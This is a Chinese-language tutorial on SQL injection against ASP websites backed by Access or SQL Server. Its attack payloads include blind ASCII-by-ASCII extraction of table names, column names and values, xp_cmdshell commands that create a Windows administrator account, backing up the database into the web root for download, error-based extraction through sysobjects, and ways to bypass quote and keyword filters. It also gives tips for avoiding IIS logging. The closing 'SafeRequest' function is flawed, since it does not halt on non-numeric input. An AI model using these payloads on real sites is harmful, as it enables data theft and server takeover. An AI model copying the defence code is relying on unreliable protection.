SQL注⼊的⼀般步骤及防范⽅法
在⼊门篇,我们学会了SQL注⼊的判断⽅法,但真正要拿到⽹站的保密内容,是远远不够的。接下来,我们就继续学习如何从数据库中获取想要获得的内容,⾸先,我们先看看SQL注⼊的⼀般步骤:
第⼀节、SQL注⼊的⼀般步骤
⾸先,判断环境,寻注⼊点,判断数据库类型,这在⼊门篇已经讲过了。
其次,根据注⼊参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下⾯三种:
(A) ID=49 这类注⼊的参数是数字型,SQL语句原貌⼤致如下:
Select * from 表名 where 字段=49
注⼊的参数为ID=49 And [查询条件],即是⽣成语句:
Select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧这类注⼊的参数是字符型,SQL语句原貌⼤致概如下:
Select * from 表名 where 字段=’连续剧’
注⼊的参数为Class=连续剧’ and [查询条件] and ‘’=’ ,即是⽣成语句:
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌⼤致如下:
Select * from 表名 where 字段like ’%关键字%’
注⼊的参数为keyword=’ and [查询条件] and ‘%25’=’,即是⽣成语句:
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’
接着,将查询条件替换成SQL语句,猜解表名,例如:
ID=49 And (Select Count(*) from Admin)>=0
如果页⾯就与ID=49的相同,说明附加条件成⽴,即表Admin存在,反之,即不存在(请牢记这种⽅法)。如此循环,直⾄猜到表名为⽌。
表名猜出来后,将Count(*)替换成Count(字段名),⽤同样的原理猜解字段名。
有⼈会说:这⾥有⼀些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。说得很对,这世界根本就不存在100%成功的⿊客技术,苍蝇不叮⽆缝的蛋,⽆论多技术多⾼深的⿊客,都是因为别⼈的程序写得不严密或使⽤者保密意识不够,才有得下⼿。
有点跑题了,话说回来,对于SQLServer的库,还是有办法让程序告诉我们表名及字段名的,我们在⾼级篇中会做介绍。
最后,在表名和列名猜解成功后,再使⽤SQL语句,得出字段的值,下⾯介绍⼀种最常⽤的⽅法-Ascii逐字解码法,虽然这种⽅法速度很慢,但肯定是可⾏的⽅法。
我们举个例⼦,已知表Admin中存在username字段,⾸先,我们取第⼀条记录,测试长度:
www.19cn/showdetail.asp?id=49 and (select top 1 len(username) from Admin)>0
先说明原理:如果top 1的username长度⼤于0,则条件成⽴;接着就是>1、>2、>3这样测试下去,⼀直到条件不成⽴为⽌,⽐如>7成⽴,>8不成⽴,就是len(username)=8
当然没⼈会笨得从0,1,2,3⼀个个测试,怎么样才⽐较快就看各⾃发挥了。在得到username的长度后,⽤mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码,⽐如:
id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
同样也是⽤逐步缩⼩范围的⽅法得到第1位字符的ASCII码,注意的是英⽂和数字的ASCII码在1-128之间,可以⽤折半法加速猜解,如果写成程序测试,效率会有极⼤的提⾼。
第⼆节、SQL注⼊常⽤函数
有SQL语⾔基础的⼈,在SQL注⼊的时候成功率⽐不熟悉的⼈⾼很多。我们有必要提⾼⼀下⾃⼰的SQL⽔平,特别是⼀些常⽤的函数及命令。
Access:asc(字符) SQLServer:unicode(字符)
作⽤:返回某字符的ASCII码
Access:chr(数字) SQLServer:nchar(数字)
sql语句替换表中内容作⽤:与asc相反,根据ASCII码返回字符
Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)
作⽤:返回字符串从N个字符起长度为L的⼦字符串,即N到N+L之间的字符串
Access:abc(数字) SQLServer:abc (数字)
作⽤:返回数字的绝对值(在猜解汉字的时候会⽤到)
Access:A between B And C SQLServer:A between B And C
作⽤:判断A是否界于B与C之间
第三节、中⽂处理⽅法
在注⼊中碰到中⽂字符是常有的事,有些⼈⼀碰到中⽂字符就想打退堂⿎了。其实只要对中⽂的编码有所了解,“中⽂恐惧症”很快可以克服。
先说⼀点常识:
Access中,中⽂的ASCII码可能会出现负数,取出该负数后⽤abs()取绝对值,汉字字符不变。
SQLServer中,中⽂的ASCII为正数,但由于是UNICODE的双位编码,不能⽤函数ascii()取得ASCII码,必须⽤函数unicode ()返回unicode 值,再⽤nchar函数取得对应的中⽂字符。
了解了上⾯的两点后,是不是觉得中⽂猜解其实也跟英⽂差不多呢?除了使⽤的函数要注意、猜解范围⼤⼀点外,⽅法是没什么两样的。
看完⼊门篇和进阶篇后,稍加练习,破解⼀般的⽹站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了⼀些特殊字符,怎么提⾼注⼊的成功率?怎么样提⾼猜解效率?请⼤家接着往下看⾼级篇。
第⼀节、利⽤系统表注⼊SQLServer数据库
SQLServer是⼀个功能强⼤的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很⼤的⽅便,但另⼀⽅⾯,也为注⼊者提供了⼀个跳板,我们先来看看⼏个具体的例⼦:
① Site/url.asp?id=1;p_cmdshell “net user name password /add”--
  分号;在SQLServer中表⽰隔开前后两句语句,--表⽰后⾯的语句为注释,所以,这句语句在SQLServer中将被分成两句执⾏,先是Select出ID=1的记录,然后执⾏存储过程xp_cmdshell,这个存储过程⽤于调⽤系统命令,于是,⽤net命令新建了⽤户名为name、密码为password的windows的帐号,接着:
② Site/url.asp?id=1;p_cmdshell “net localgroup name administrators /add”--
  将新建的帐号name加⼊管理员组,不⽤两分钟,你已经拿到了系统最⾼权限!当然,这种⽅法只适⽤于⽤sa连接数据库的情况,否则,是没有权限调⽤xp_cmdshell的。
  ③ Site/url.asp?id=1 ;;and db_name()>0
前⾯有个类似的例⼦and user>0,作⽤是获取连接⽤户名,db_name()是另⼀个系统变量,返回的是连接的数据库名。
④ Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--
这是相当狠的⼀招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web⽬录下⾯,再⽤HTTP把整个数据库就完完整整的下载回来,所有的管理员及⽤户密码都⼀览⽆遗!在不知道绝对路径的时候,还可以备份到⽹络地址的⽅法(如
\\\Share\1.db),但成功率不⾼。
  ⑤ Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前⾯说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=’U’ and status>0,表⽰⽤户建⽴的表名,上⾯的语句将第⼀个表名取出,与0⽐较⼤⼩,让报错信息把表名暴露出来。第⼆、第三个表名怎么获取?还是留给我们聪明的读者思考吧。
⑥ Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从⑤拿到表名后,⽤object_id(‘表名’)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,就可以逐个获取所猜解表⾥⾯的字段名。
  以上6点是我研究SQLServer注⼊半年多以来的⼼⾎结晶,可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我
研究SQLServer注⼊之后,我在开发⽅⾯的⽔平也得到很⼤的提⾼,呵呵,也许安全与开发本来就是相辅相成的吧。
第⼆节、绕过程序限制继续注⼊
在⼊门篇提到,有很多⼈喜欢⽤’号测试注⼊漏洞,所以也有很多⼈⽤过滤’号的⽅法来“防⽌”注⼊漏洞,这也许能挡住⼀些⼊门者的攻击,但对SQL注⼊⽐较熟悉的⼈,还是可以利⽤相关的函数,达到绕过程序限制的⽬的。
在“SQL注⼊的⼀般步骤”⼀节中,我所⽤的语句,都是经过我优化,让其不包含有单引号的;在“利⽤系统表注⼊SQLServer数据库”中,有些语句包含有’号,我们举个例⼦来看看怎么改造这些语句:
简单的如where xtype=’U’,字符U对应的ASCII码是85,所以可以⽤where xtype=char(85)代替;如果字符是中⽂的,⽐如where name=’⽤户’,可以⽤where name=nchar(29992)+nchar(25143)代替。
第三节、经验⼩结
1.有些⼈会过滤Select、Update、Delete这些关键字,但偏偏忘记区分⼤⼩写,所以⼤家可以⽤selecT这样尝试⼀下。
2.在猜不到字段名时,不妨看看⽹站上的登录表单,⼀般为了⽅便起见,字段名都与表单的输⼊框取相同的名字。
3.特别注意:地址栏的+号传⼊程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考URLEncode的相关介绍。
4.⽤Get⽅法注⼊时,IIS会记录你所有的提交字符串,对Post⽅法做则不记录,所以能⽤Post的⽹址尽量不⽤Get。
5. 猜解Access时只能⽤Ascii逐字解码法,SQLServer也可以⽤这种⽅法,只需要两者之间的区别即可,但是如果能⽤SQLServer的报错信息把值暴露出来,那效率和准确率会有极⼤的提⾼。
防范⽅法
SQL注⼊漏洞可谓是“千⾥之堤,溃于蚁⽳”,这种漏洞在⽹上极为普遍,通常是由于程序员对注⼊不
了解,或者程序过滤不严格,或者某个参数忘记检查导致。在这⾥,我给⼤家⼀个函数,代替ASP中的Request函数,可以对⼀切的SQL注⼊Say NO,函数如下:
Function SafeRequest(ParaName,ParaType)
'--- 传⼊参数 ---
'ParaName:参数名称-字符型
'ParaType:参数类型-数字型(1表⽰以上参数是数字,0表⽰以上参数为字符)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "参数" & ParaName & "必须为数字型!"
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。